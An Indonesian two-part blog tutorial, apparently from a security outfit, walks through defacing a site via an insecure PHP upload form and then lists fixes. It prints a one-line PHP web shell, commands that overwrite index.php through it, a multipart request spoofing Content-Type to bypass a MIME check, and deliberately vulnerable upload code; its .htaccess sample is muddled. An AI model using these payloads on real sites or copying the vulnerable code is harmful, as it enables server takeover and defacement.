Simulasi Hacking | Patch File Upload Form Part - 2 [Finish]


Jika anda belum membaca artikel sebelumnya, sebaiknya dibaca dahulu karena masih berkaitan.

Oke kita lanjut lagi balada sang admin yang masih galau kok masih bisa ditembus pertahanannya. Di sisi yang lain mari kita telusuri bagaimana hacker memanipulasi data sehingga tetap bisa melakukan deface. Lets cekidot!

Kasus 2 : Tantangan Melewati Validasi Type File

Pertama kali hacker melakukan upload file-jahat.php , namun mendapat pesan penolakan seperti gambar dibawah :


"Hah~ sekarang udah ga bisa upload php ya, lumayan juga nih.." kata si hacker, tapi ini sih masih ada kemungkinan bisa ditembus..

Akhirnya hacker memakai cara memanipulasi tipe file menggunakan teknik tamper data.


Hacker mengganti POST_DATA : 

-----------------------------113632006717497\r\nContent-Disposition: form-data; name="file"; filename="file-jahat.php"\r\nContent-Type: unknown/unknown\r\n\r\n\r\n-----------------------------113632006717497--\r\n

Menjadi : 

-----------------------------113632006717497\r\nContent-Disposition: form-data; name="file"; filename="file-jahat.php"\r\nContent-Type:image/jpg\r\n\r\n\r\n-----------------------------113632006717497--\r\n

Lalu hasilnya, boom!


Ya tentu saja hal ini akan tembus dengan mudah, verifikasi keamanan hanya melalui pengecekan Content-Type file. 

Singkat kata sang admin mulai frustasi dan menghubungi www.Ethic.Ninja (iklan dikit ya haha~), lalu diberikanlah saran mengenai mekanisme upload file yang baik dan aman.

Solusi Upload Form
  • Jangan pernah percaya apa saja yang dikirimkan klien, lakukan validasi 2 tahap, melalui sisi klien dan juga sisi server.
  • Buat list mime-type apa saja yang diperbolehkan untuk diupload.
  • Tutup akses secara langsung pada folder tujuan upload.
  • Maksimalkan penggunaan .htacess untuk menyaring type file
deny from all
order deny,allow
allow from all
  • Lakukan rename nama file hasil upload secara random
  • Hindari tipikal upload file yang membolehkan untuk rewrite file
  • Jika memungkinkan upload file diluar system utama
  • Block IP jika user terus menerus melakukan upaya upload file secara tidak wajar
Sang admin pun akhirnya mengontrak Ethic Ninja untuk melakukan pemrograman diatas, dan drama ini berakhir dengan bahagia.

Simulasi Hacking | File Upload Form Part - 1



Kali ini kita akan mempelajari bagaimana proses seorang hacker menyerang website melalui upload form yang disediakan suatu website beserta PENANGGULANGANNYA, harap pergunakan ilmu dengan baik dan bijak.

Kasus 1

Alkisah terdapat sebuah website image hosting yang menyediakan jasa dimana seseorang diperbolehkan upload image di website tersebut. Sang developer memang baru belajar fungsi upload dan berhasil mengimplementasikannya tapi ada satu yang ia lupa yaitu KEAMANAN.




Hingga suatu hari dilihatnya halaman utama websitenya sudah berubah! ada apa gerangan?



Ya, website tersebut terkena deface. Mari kita pelajari source code fungsi upload sang admin (index.php) :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256" /></head><body style="text-align:center;background:#DBEAF9">

<h1>Selamat Datang di website upload suka-suka V.1</h1>

<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Foto yang ingin diupload : <input name="file" type="file" /><input type="submit" value="Upload" /></form>

<?php 
if (!empty($_FILES["file"]))
{
    if ($_FILES["file"]["error"] > 0)
        {
   echo "Error: " . $_FILES["file"]["error"];
  }
    else
       {
   echo "Upload berhasil <a href='./images/".$_FILES["file"]["name"]."'>Klik untuk melihat file anda</a>";
   move_uploaded_file($_FILES["file"]["tmp_name"],"./images/".$_FILES["file"]["name"]);
       }
}
?>
<br><br>
<br><br>
Copyright by suka-suka website

Whoopsie! ternyata sang admin tidak verifikasi file jenis apapun, jadi imbasnya pengupload dapat upload file apapun ke server sang admin.

Lalu bagaimana cara hacker men-deface halaman utamanya, Lets Cekidot! 

Pertama kali hacker akan menyiapkan file jahat untuk ekseskusi perintah di dalam web server (sebenarnya banyak cara, ini salah satunya saja).

file-jahat.php


1
2
3
<?php
 if(isset($_GET['q'])) echo shell_exec($_GET['q']);
?>


Untuk mendownload semua file yang digunakan pada postingan ini, anda dapat mengunduh di akhir postingan.

Langkah yang dilakukan adalah melakukan upload file-jahat.php diatas dan upload file deface (hacked.php).

Langkah selanjutnya hacker akan memanggil file tersebut dan menambahkan perintahnya. Berikut perintahnya :

images/file-jahat.php?q=ren hacked.php index.php

Perintah diatas adalah perintah untuk melakukan proses rename dari hacked.php ke index.php

langkah selanjutnya adalah melakukan perintah pindah file ke root, karena posisi file index.php (tadinya hacked.php) masih berada di folder image. Ini dia perintahnya :

images/file-jahat.php?q=move index.php ..\

Eng ing eng.... dan halaman utama pun sekarang terkena deface.



Kasus 2

Sang admin pun merasa tertantang, dia membeli buku pemrograman PHP, kemudian mulai mengerti sebaiknya setiap upload-an user harus diidentifikasi dahulu type filenya. Mulailah melakukan eksperimen berikut adalah potongan / snippet codingannya :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php 
if (!empty($_FILES["file"]))
{
    if ($_FILES["file"]["error"] > 0)
        {
   echo "Error: " . $_FILES["file"]["error"];
  }
    else
       { 
   $mime = $_FILES['file']['type'];
   if (strpos($mime,'image') !== false) {
    echo "<h2>Upload berhasil <a href='./images/".$_FILES["file"]["name"]."'>Klik untuk melihat file anda</a><h2>".$mime;
    move_uploaded_file($_FILES["file"]["tmp_name"],"./images/".$_FILES["file"]["name"]);
   } else {
    echo "<h2>O ow udah ga bisa upload lagi ya? tobat lu tobat</h2>".$mime;
   }
       }
}
?>

Lihat di baris ke 10 dan 11, sang admin mulai pintar memberikan kondisi dimana jika type nya bukan image maka ditolak! Dicobalah untuk melakukan upload file php dan hasilnya :


Sang admin pun tidur dengan tenang malam ini. Keesokan paginya sang admin cek websitenya, alangkah terkejutnya ia melihat tampilan websitenya berubah lagi alias di deface lagi! Alamak gimana lagi ini?



Admin pun galau..

Mau tahu kelanjutannya?  

Stay tune and follow us on :

Facebook : https://www.facebook.com/EthicNinja 
Twitter      :  https://twitter.com/ethic_ninja